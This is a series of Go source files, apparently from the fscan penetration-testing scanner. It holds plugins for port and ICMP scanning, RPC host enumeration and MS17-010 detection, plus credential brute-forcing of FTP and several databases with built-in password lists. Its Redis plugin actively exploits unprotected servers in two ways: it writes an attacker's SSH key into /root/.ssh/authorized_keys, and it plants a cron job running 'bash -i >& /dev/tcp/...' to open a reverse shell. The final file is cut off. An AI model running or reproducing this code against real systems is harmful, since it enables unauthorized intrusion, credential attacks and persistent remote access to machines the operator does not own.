res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding", "gzip, deflate")
res.Header.Add("Connection", "close")
resp, err := client.Do(res)
if err == nil {
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "/_cat/master") {
result := fmt.Sprintf("Elastic:%s unauthorized", url)
common.LogSuccess(result)
flag = true
}
}
}
return flag, err
}
+81
View File
@@ -0,0 +1,81 @@
package Plugins
import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
var (
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *common.HostInfo) error {
err := FindnetScan(info)
return err
}
func FindnetScan(info *common.HostInfo) error {
realhost := fmt.Sprintf("%s:%d", info.Host, 135)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return err
}
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return err
}
defer conn.Close()
_, err = conn.Write(bufferV1)
if err != nil {
return err
}
reply := make([]byte, 4096)
_, err = conn.Read(reply)
if err != nil {
return err
}
_, err = conn.Write(bufferV2)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 42 {
return err
}
text := reply[42:]
flag := true
for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], bufferV3) {
text = text[:i-4]
flag = false
break
}
}
if flag {
return err
}
err = read(text, info.Host)
return err
}
func read(text []byte, host string) error {
encodedStr := hex.EncodeToString(text)
hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000")
result := "NetInfo:\n[*]" + host
for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host, err := hex.DecodeString(hostname[i])
if err != nil {
return err
}
result += "\n [->]" + string(host)
}
common.LogSuccess(result)
return nil
}
+57
View File
@@ -0,0 +1,57 @@
package Plugins
import (
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func FtpScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := FtpConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] ftp %v %v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
if err == nil {
err = conn.Login(Username, Password)
if err == nil {
flag = true
result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
dirs, err := conn.List("")
//defer conn.Logout()
if err == nil {
if len(dirs) > 0 {
for i := 0; i < len(dirs); i++ {
if len(dirs[i].Name) > 50 {
result += "\n [->]" + dirs[i].Name[:50]
} else {
result += "\n [->]" + dirs[i].Name
}
if i == 5 {
break
}
}
}
}
common.LogSuccess(result)
}
}
return flag, err
}
+186
View File
@@ -0,0 +1,186 @@
package Plugins
import (
"bytes"
"fmt"
"golang.org/x/net/icmp"
"log"
"net"
"os"
"os/exec"
"os/user"
"runtime"
"strings"
"sync"
"time"
)
var AliveHosts []string
var SysInfo = GetSys()
type SystemInfo struct {
OS string
HostName string
Groupid string
Userid string
Username string
}
func GetSys() SystemInfo {
var sysinfo SystemInfo
sysinfo.OS = runtime.GOOS
name, err := os.Hostname()
if err == nil {
sysinfo.HostName = name
} else {
name = "none"
}
u, err := user.Current()
if err == nil {
sysinfo.Groupid = u.Gid
sysinfo.Userid = u.Uid
sysinfo.Username = u.Username
} else {
sysinfo.Groupid = "1"
sysinfo.Userid = "1"
sysinfo.Username = name
}
return sysinfo
}
func IcmpCheck(hostslist []string) {
TmpHosts := make(map[string]struct{})
var chanHosts = make(chan string)
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
endflag := false
if err != nil {
log.Fatal(err)
}
go func() {
for {
if endflag == true {
return
}
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
chanHosts <- sourceIP.String()
}
}
}()
go func() {
for ip := range chanHosts {
if _, ok := TmpHosts[ip]; !ok {
TmpHosts[ip] = struct{}{}
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
AliveHosts = append(AliveHosts, ip)
}
}
}()
for _, host := range hostslist {
write(host, conn)
}
if len(hostslist) > 255 {
time.Sleep(6 * time.Second)
} else {
time.Sleep(3 * time.Second)
}
endflag = true
close(chanHosts)
conn.Close()
}
func write(ip string, conn *icmp.PacketConn) {
dst, _ := net.ResolveIPAddr("ip", ip)
IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
conn.WriteTo(IcmpByte, dst)
}
func ExecCommandPing(ip string, bsenv string) bool {
var command *exec.Cmd
if SysInfo.OS == "windows" {
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{}
command.Stdout = &outinfo
err := command.Start()
if err != nil {
return false
}
if err = command.Wait(); err != nil {
return false
} else {
if strings.Contains(outinfo.String(), "true") {
return true
} else {
return false
}
}
}
func PingCMDcheck(hostslist []string, bsenv string) {
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, 50)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if ExecCommandPing(host, bsenv) {
mutex.Lock()
fmt.Printf("(Ping) Target '%s' is alive\n", host)
AliveHosts = append(AliveHosts, host)
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait()
}
func ICMPRun(hostslist []string, Ping bool) []string {
if SysInfo.OS == "windows" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "")
}
} else if SysInfo.OS == "linux" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} else if SysInfo.OS == "darwin" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
}
return AliveHosts
}
+28
View File
@@ -0,0 +1,28 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MemcachedScan(info *common.HostInfo) (err error, result string) {
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err == nil {
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err == nil {
if strings.Contains(string(rev[:n]), "STAT") {
defer client.Close()
result = fmt.Sprintf("Memcached:%s unauthorized", realhost)
common.LogSuccess(result)
}
}
}
return err, result
}
+54
View File
@@ -0,0 +1,54 @@
package Plugins
import (
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
func MongodbScan(info *common.HostInfo) error {
_, err := MongodbUnauth(info)
return err
}
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
senddata := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
getlogdata := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write(senddata)
if err != nil {
return flag, err
}
buf := make([]byte, 1024)
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "ismaster") {
_, err = conn.Write(getlogdata)
if err != nil {
return flag, err
}
count, err := conn.Read(buf)
if err != nil {
return flag, err
}
text := string(buf[0:count])
if strings.Contains(text, "totalLinesWritten") {
flag = true
result := fmt.Sprintf("Mongodb:%v unauthorized", realhost)
common.LogSuccess(result)
}
}
return flag, err
}
+151
View File
@@ -0,0 +1,151 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strings"
"time"
)
var (
negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200")
sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000")
treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00")
transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00")
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
)
func MS17010(info *common.HostInfo) error {
err := MS17010Scan(info)
return err
}
func MS17010Scan(info *common.HostInfo) error {
ip := info.Host
// connecting to a host in LAN if reachable should be very quick
conn, err := net.DialTimeout("tcp", ip+":445", time.Duration(info.Timeout)*time.Second)
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
defer conn.Close()
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
//fmt.Printf("failed to connect to %s\n", ip)
return err
}
_, err = conn.Write(negotiateProtocolRequest)
if err != nil {
return err
}
reply := make([]byte, 1024)
// let alone half packet
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
return err
}
_, err = conn.Write(sessionSetupRequest)
if err != nil {
return err
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
return err
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
// status != 0
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
var Err = errors.New("can't determine whether target is vulnerable or not")
return Err
}
// extract OS info
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
// find byte count
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
fmt.Println("invalid session setup AndX response")
} else {
// two continous null bytes indicates end of a unicode string
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
// TODO change the ip in tree path though it doesn't matter
_, err = conn.Write(treeConnectRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
_, err = conn.Write(transNamedPipeRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result)
// detect present of DOUBLEPULSAR SMB implant
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
_, err = conn.Write(trans2SessionSetupRequest)
if err != nil {
return err
}
if n, err := conn.Read(reply); err != nil || n < 36 {
return err
}
if reply[34] == 0x51 {
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
common.LogSuccess(result)
}
} else {
result := fmt.Sprintf("%s (%s)", ip, os)
common.LogSuccess(result)
}
return err
}
+47
View File
@@ -0,0 +1,47 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MssqlScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mssql %v %v %v %v %v", info.Host, common.PORTList["mssql"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["mssql"], user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host, Username, Password, Port, time.Duration(info.Timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
+47
View File
@@ -0,0 +1,47 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func MysqlScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] mysql %v %v %v %v %v", info.Host, common.PORTList["mysql"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["mysql"], user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host, Port, "mysql")
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(info.Timeout) * time.Second)
db.SetMaxIdleConns(0)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
+101
View File
@@ -0,0 +1,101 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"strconv"
"sync"
"time"
)
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, adjustedTimeout int64) {
for port := range ports {
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout)*time.Second)
if err == nil {
con.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
respondingHosts <- address
}
}
done <- true
}
func ScanAllports(address string, probePorts []int, threads int, adjustedTimeout int64) ([]string, error) {
ports := make(chan int, 20)
results := make(chan string)
done := make(chan bool, threads)
for worker := 0; worker < threads; worker++ {
go ProbeHosts(address, ports, results, done, adjustedTimeout)
}
for _, port := range probePorts {
ports <- port
}
close(ports)
var responses = []string{}
for {
select {
case found := <-results:
responses = append(responses, found)
case <-done:
threads--
if threads == 0 {
return responses, nil
}
}
}
}
func TCPportScan(hostslist []string, ports string, timeout int64) []string {
var AliveAddress []string
probePorts := common.ParsePort(ports)
lm := 20
if len(hostslist) > 5 && len(hostslist) <= 50 {
lm = 40
} else if len(hostslist) > 50 && len(hostslist) <= 100 {
lm = 50
} else if len(hostslist) > 100 && len(hostslist) <= 150 {
lm = 60
} else if len(hostslist) > 150 && len(hostslist) <= 200 {
lm = 70
} else if len(hostslist) > 200 {
lm = 75
}
thread := 10
if len(probePorts) > 500 && len(probePorts) <= 4000 {
thread = len(probePorts) / 100
} else if len(probePorts) > 4000 && len(probePorts) <= 6000 {
thread = len(probePorts) / 200
} else if len(probePorts) > 6000 && len(probePorts) <= 10000 {
thread = len(probePorts) / 350
} else if len(probePorts) > 10000 && len(probePorts) < 50000 {
thread = len(probePorts) / 400
} else if len(probePorts) >= 50000 && len(probePorts) <= 65535 {
thread = len(probePorts) / 500
}
var wg sync.WaitGroup
mutex := &sync.Mutex{}
limiter := make(chan struct{}, lm)
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer wg.Done()
if aliveAdd, err := ScanAllports(host, probePorts, thread, timeout); err == nil && len(aliveAdd) > 0 {
mutex.Lock()
AliveAddress = append(AliveAddress, aliveAdd...)
mutex.Unlock()
}
<-limiter
}(host)
}
wg.Wait()
return AliveAddress
}
+45
View File
@@ -0,0 +1,45 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings"
"time"
)
func PostgresScan(info *common.HostInfo) (tmperr error) {
for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] psql %v %v %v %v %v", info.Host, common.PORTList["psql"], user, pass, err)
common.LogError(errlog)
tmperr = err
}
}
}
return tmperr
}
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false
Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("mysql", dataSourceName)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
defer db.Close()
err = db.Ping()
if err == nil {
result := fmt.Sprintf("Postgres:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result)
flag = true
}
}
return flag, err
}
+289
View File
@@ -0,0 +1,289 @@
package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/common"
"net"
"os"
"strings"
"time"
)
func RedisScan(info *common.HostInfo) (tmperr error) {
flag, err := RedisUnauth(info)
if flag == true && err == nil {
return err
}
for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true && err == nil {
return err
} else {
errlog := fmt.Sprintf("[-] redis %v %v %v %v %v", info.Host, common.PORTList["redis"], pass, err)
common.LogError(errlog)
tmperr = err
}
}
return tmperr
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") {
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
common.LogSuccess(result)
flag = true
Expoilt(realhost, conn)
}
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false
realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil {
return flag, err
}
defer conn.Close()
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") {
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
common.LogSuccess(result)
flag = true
Expoilt(realhost, conn)
}
return flag, err
}
func Expoilt(realhost string, conn net.Conn) error {
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true {
result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result)
if common.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile)
if err != nil {
return err
}
if writeok {
result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
}
}
}
if flagCron == true {
result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result)
if common.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell)
if err != nil {
return err
}
if writeok {
result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result)
} else {
fmt.Println("Redis:", realhost, "cron write failed", text)
}
}
}
return err
}
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("Open %s error, %v", filename, err)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") {
flag = true
}
}
}
}
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
return flag, text, err
}
func Readfile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func readreply(conn net.Conn) (result string, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result += string(buf[0:count])
if count < 4096 {
break
}
}
return result, err
}
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true
}
return flag, flagCron, err
}
+94
View File
@@ -0,0 +1,94 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"reflect"
"strconv"
"strings"
"sync"
)
func Scan(info common.HostInfo) {
fmt.Println("scan start")
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
if common.IsPing == false {
Hosts = ICMPRun(Hosts, common.Ping)
fmt.Println("icmp alive hosts len is:", len(Hosts))
}
if info.Scantype == "icmp" {
return
}
AlivePorts := TCPportScan(Hosts, info.Ports, info.Timeout)
if info.Scantype == "portscan" {
return
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" {
if info.Ports == "445" { //scan more vul
AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg)
} else if IsContain(severports, info.Ports) {
AddScan(info.Ports, info, ch, &wg)
} else {
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {
port, _ := common.PortlistBack[info.Scantype]
scantype := strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
}
}
wg.Wait()
common.WaitSave()
}
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
go func() {
err, _ := ScanFunc(PluginList, scantype, &info)
if common.LogErr {
tmperr := err[0].Interface()
if tmperr != nil {
tmperr1 := err[0].Interface().(error)
errtext := strings.Replace(tmperr1.Error(), "\n", "", -1)
fmt.Println("[-] ", info.Host+":"+info.Ports, errtext)
}
}
wg.Done()
<-ch
}()
ch <- struct{}{}
}
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted ")
fmt.Println(err.Error())
return result, nil
}
in := make([]reflect.Value, len(infos))
for k, info := range infos {
in[k] = reflect.ValueOf(info)
}
result = f.Call(in)
return result, nil
}
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
+69
View File
@@ -0,0 +1,69 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings"
"time"
)
